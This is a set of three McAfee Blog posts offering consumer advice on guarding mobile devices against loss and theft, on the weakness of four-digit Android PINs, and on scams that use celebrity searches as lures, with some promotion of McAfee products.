The unfortunate reality of our digital era is that devices are lost, misplaced, or stolen every day. A mobile device without password protection is a gold mine for anyone with malicious intent. According to a global survey by McAfee and One Poll, many consumers are largely unconcerned about the security of their personal data stored on mobile devices. To illustrate, only one in five respondents had backed up data on their tablet or smartphone. Even more concerning, 15% admitted they saved password information on their phone.
Such statistics are troubling for several reasons. The most obvious is the risk of personal information —including banking details and online login credentials— falling into the wrong hands. A lost or stolen device is not just a device lost— it’s potentially an identity, a bank account, or worse. The lack of urgency in securing data on mobile devices speaks to a broad consumer misunderstanding about the severity of the threats posed by cybercriminals and the ease with which they can exploit an unprotected device.
→ Dig Deeper: McAfee 2023 Consumer Mobile Threat Report
Perhaps one of the most surprising findings of the survey is the difference in mobile security behaviors between men and women. This difference illustrates not just a disparity in the type of personal information each group holds dear, but also the degree of risk each is willing to accept with their mobile devices.
Broadly speaking, men tend to place greater value on the content stored on their devices, such as photos, videos, and contact lists. Women, on the other hand, appear more concerned about the potential loss of access to social media accounts and personal communication tools like email. They are statistically more likely to experience online harassment and privacy breaches. This could explain why they are more concerned about the security of their social media accounts, as maintaining control over their online presence can be a way to protect against harassment and maintain a sense of safety.
The loss of a mobile device, which for many individuals has become an extension of their social identity, can disrupt daily life significantly. This distinction illustrates that the consequences of lost or stolen mobile devices are not just financial, but social and emotional as well.
Despite the differences in what we value on our mobile devices, the survey showed a worrying level of risky behavior from both genders. Over half (55%) of respondents admitted sharing their passwords or PIN with others, including their children. This behavior not only leaves devices and data at risk of unauthorized access but also contributes to a wider culture of complacency around mobile security.
Password protection offers a fundamental layer of security for devices, yet many people still choose convenience over safety. Setting a password or PIN isn’t a failsafe method for keeping your data safe. However, it is a simple and effective starting point in the broader effort to protect our digital lives.
→ Dig Deeper: Put a PIN on It: Securing Your Mobile Devices
While the survey results raise an alarm, the good news is that we can turn things around. It all begins with acknowledging the risks of leaving our mobile devices unprotected. There are simple steps that can be taken to ramp up the security of your devices and protect your personal information.
First and foremost, password-protect all your devices. This means going beyond your mobile phone to include tablets and any other portable, internet-capable devices you may use. And, while setting a password, avoid easy ones like “1234” or “1111”. These are the first combinations a hacker will try. The more complex your password is, the sturdier a barrier it forms against unauthorized access.
Another important step is to avoid using the “remember me” function on your apps or mobile web browser. Although it might seem convenient to stay logged into your accounts for quick access, this considerably amplifies the risk if your device gets stolen or lost. It’s crucial to ensure you log out of your accounts whenever not in use. This includes email, social media, banking, payment apps, and any other accounts linked to sensitive information.
McAfee Pro Tip: If your phone is lost or stolen, employing a combination of tracking your device, locking it remotely, and erasing its data can safeguard both your phone and the information it contains. Learn more tips on how to protect your mobile device from loss and theft.
Sharing your PIN or password is also a risky behavior that should be discouraged. Admittedly, this might be challenging to implement, especially with family members or close friends. But the potential harm it can prevent in the long run far outweighs the temporary convenience it might present.
Having highlighted the importance of individual action towards secure mobile practices, it’s worth noting that investing in reliable security software can also make a world of difference. A mobile security product like McAfee Mobile Security, which offers anti-malware, web protection, and app protection, can provide a crucial extra layer of defense.
With app protection, not only are you alerted if your apps are accessing information on your mobile that they shouldn’t, but in the event that someone does unlock your device, your personal information remains safe by locking some or all of your apps. This means that even if your device falls into the wrong hands, they still won’t be able to access your crucial information.
It’s also critical to stay educated on the latest ways to protect your mobile device. Cyber threats evolve constantly, and awareness is your first line of defense. McAfee has designed a comprehensive approach to make the process of learning about mobile security not just informative but also engaging. Our array of resources includes a rich repository of blogs, insightful reports, and informative guides. These materials are meticulously crafted to provide users with a wealth of knowledge on how to protect their mobile devices, ensuring that the learning experience is not only informative but also engaging and enjoyable.
While the current state of mobile device security may seem concerning, it’s far from hopeless. By incorporating simple security practices such as setting complex passwords and avoiding shared access, we can significantly reduce the risk of unauthorized data access. Additionally, investing in trusted mobile security products like McAfee Mobile Security can provide a robust defense against advancing cyber threats. Remember, our digital lives mirror our real lives – just as we lock and secure our homes, so too must we protect our mobile devices.
The post How to Protect Your Mobile Device From Loss and Theft appeared first on McAfee Blog.
Digital technology has dramatically impacted our lives, making it easier and more convenient in many ways. With the use of smartphones, we perform a myriad of activities daily, from making phone calls and sending messages to shopping online and managing bank accounts. While these activities bring convenience, they also expose users to various security threats. Your Android PIN code is a critical aspect that protects your phone data from unauthorized access. But how safe is this four-digit code? This article aims to demystify this question and offers a comprehensive guide on the safety of Android PIN codes.
A Personal Identification Number (PIN) is a security code used to protect your mobile device from unauthorized access. It is usually a 4-digit number, though some devices allow longer PINs. When you set up a PIN, the device encrypts data and can only be accessed by entering the correct PIN. The idea behind the PIN is that it is easy for you to remember but difficult for others to guess. But is this method of protecting your data foolproof?
The first line of defense for your smartphone is a simple PIN code. Many users choose easy-to-remember combinations such as “1234” or “1111.” However, these are easily guessable and thus not very secure. Furthermore, a determined thief could try all 10,000 possible four-digit combinations until they hit the right one. This process could be done manually, but it has been demonstrated that it could also be automated with a device like the R2B2 robot, which can try all combinations in less than 24 hours.
The R2B2, or Robotic Reconfigurable Button Basher, is a small robot designed with a single, solitary function: to crack any Android four-digit locking code. Justin Engler, a security engineer at iSEC , created itPartners. The R2B2 uses a ‘brute force’ method of entering all 10,000 possible combinations of four-digit passcodes until it finds the right one. It doesn’t use specialized software or malware; it simply inputs combinations until it gets the right one.
Although the chances of your phone falling into the clutches of an R2B2 are slim, such technology raises concerns about the security of a four-digit PIN. If a simple robot can crack the code in less than a day, it questions the efficacy of a four-digit passcode in protecting your mobile data. This emphasizes the need for more robust, more secure forms of password protection.
→ Dig Deeper: Put a PIN on It: Securing Your Mobile Devices
Even though a four-digit PIN remains one of the most common forms of mobile security, it may not necessarily be the most secure. For times when a PIN code does not offer sufficient protection, alternative security measures can step in. Advanced Android users can access a wide range of security features beyond the conventional four-digit PIN, including patterns, passwords, and biometrics.
→ Dig Deeper: 5 Tips For Creating Bulletproof Passwords
→ Dig Deeper: MasterCard Wants to Verify by Selfies and Fingerprints! The Ripple Effects of Biometric Data?
Beyond passcodes and biometrics, there are a range of additional security measures that can be implemented to protect your phone:
McAfee Pro Tip: Refrain from sharing your PIN codes and passwords with anyone. Use a reputable password manager to efficiently and securely manage your collection of passwords and passcodes.
While the advent of technology like R2B2 does raise concerns about the sufficiency of a four-digit PIN, this is only part of the story. The landscape of mobile security is variable and complex, and it’s essential to stay vigilant. By using a mix of solid passcodes (or alternative forms of security like biometrics), implementing additional security measures, and regularly updating and reviewing your security settings, you can significantly enhance the security of your Android device. After all, one’s mobile device often holds a wealth of personal information, making its protection a high priority in our increasingly digital world.
The post How Safe Is Your Android PIN Code? appeared first on McAfee Blog.
In the age of digital data and Internet access, the potential for scams is more significant than ever. These scams often involve leveraging popular search queries to trap unsuspecting netizens into their malicious schemes. Among the top searches in the online world, celebrities hold a prime spot. Through this guide, we aim to shed light on how scammers take advantage of the global fascination with celebrities to target their potential victims.
As digital users, most of us are likely well-acquainted with the phrase “Just Google it.” The search engine has become a go-to source for any information ranging from essential daily needs to entertainment gossip. But it’s crucial to remember that while you’re in pursuit of data, scammers are in search of their next victim.
Scammers have significantly evolved with the advancement of technology. They’ve mastered the art of creating fake or infected websites that can harm your computer systems, extract your financial information, or even steal your identity. Their strategies often include luring victims through popular searches, such as the latest Twitter trends, breaking news stories, major world events, downloads, or even celebrity images and gossip. The higher the popularity of the search, the greater the risk of encountering harmful results.
McAfee has conducted research for six consecutive years on popular celebrities to reveal which ones are riskiest to search for online. For instance, Emma Watson outplaced Heidi Klum as the most dangerous celebrity to look up online. Interestingly, it was the first year that the top 10 list comprised solely of women. Cybercriminals commonly exploit the names of such popular celebrities to lead users to websites loaded with malicious software, consequently turning an innocent search for videos or pictures into a malware-infected nightmare.
→ Dig Deeper: Emma Watson Video Scam: Hackers Use Celeb’s Popularity to Unleash Viruses
Scammers are well aware of the allure the word “free” holds for most Internet users. They cleverly exploit this to get your attention and draw you into their traps. For instance, when you search for “Beyonce” or “Taylor Swift” followed by prompts like “free downloads”, “Beyonce concert photos”, or “Taylor Swift leaked songs”, you expose yourself to potential online threats aiming to steal your personal information. It’s always prudent to maintain a healthy level of skepticism when encountering offers that seem too good to be true, especially those labeled as “free.”
While the internet can be a dangerous playground, it doesn’t mean that you cannot protect yourself effectively. Using common sense, double-checking URLs, utilizing safe search plugins, and having comprehensive security software are some strategies to help ensure your online safety. This guide aims to provide you with insights and tools to navigate the online world without falling prey to its many hidden dangers.
Truth be told, the responsibility for online safety lies primarily with the user. Just as you would not walk into any shady-looking place in real life, it requires a similar instinct to avoid shady sites while browsing online. One important piece of advice – if something appears too good to be true, in all probability, it is. So, take note of these practical tips to help you guard against celebrity scams and other online threats:
→ Dig Deeper: How to Tell Whether a Website Is Safe or Unsafe
→ Dig Deeper: The Big Reason Why You Should Update Your Browser (and How to Do It)
Having comprehensive security software installed on your devices is another crucial step towards preventing scams. Good antivirus software can protect against the latest threats, alert you about unsafe websites, and even detect phishing attempts. Furthermore, always keep your security software and all other software updated. Cybercriminals are known to exploit vulnerabilities in outdated software to infiltrate your devices and steal your data.
Apart from ensuring you have security software, be cautious about what you download on your devices. Trojans, viruses, and malware are often hidden in downloadable files, especially in sites that offer ‘free’ content. Cybercriminals tempting users to download infected files often use popular celebrity names. Therefore, download wisely and from reputed sources.
McAfee Pro Tip: Before committing to a comprehensive security plan, it’s crucial to evaluate your security protection and analyze your requirements. This proactive stance forms the bedrock for crafting strong cybersecurity measures that cater precisely to your unique needs and potential vulnerabilities. For more information about our acclaimed security solutions, explore our range of products.
In the digital world, where information and entertainment are available at our fingertips, it’s crucial to remain vigilant against scams, especially those involving celebrities. By exercising prudent online practices like scrutinizing URLs, using safe search plugins, and installing comprehensive security software, we can significantly reduce our risk of falling prey to these scams.
It’s imperative to understand that the popularity of a search term or trend is directly proportional to the risk it carries. So next time, before you search for your favorite celebrity, remember, the more famous the celebrity, the greater the risk. Together with McAfee, let’s promote safer browsing practices and contribute to a safer online community for all.
The post Celebrities Are Lures For Scammers appeared first on McAfee Blog.
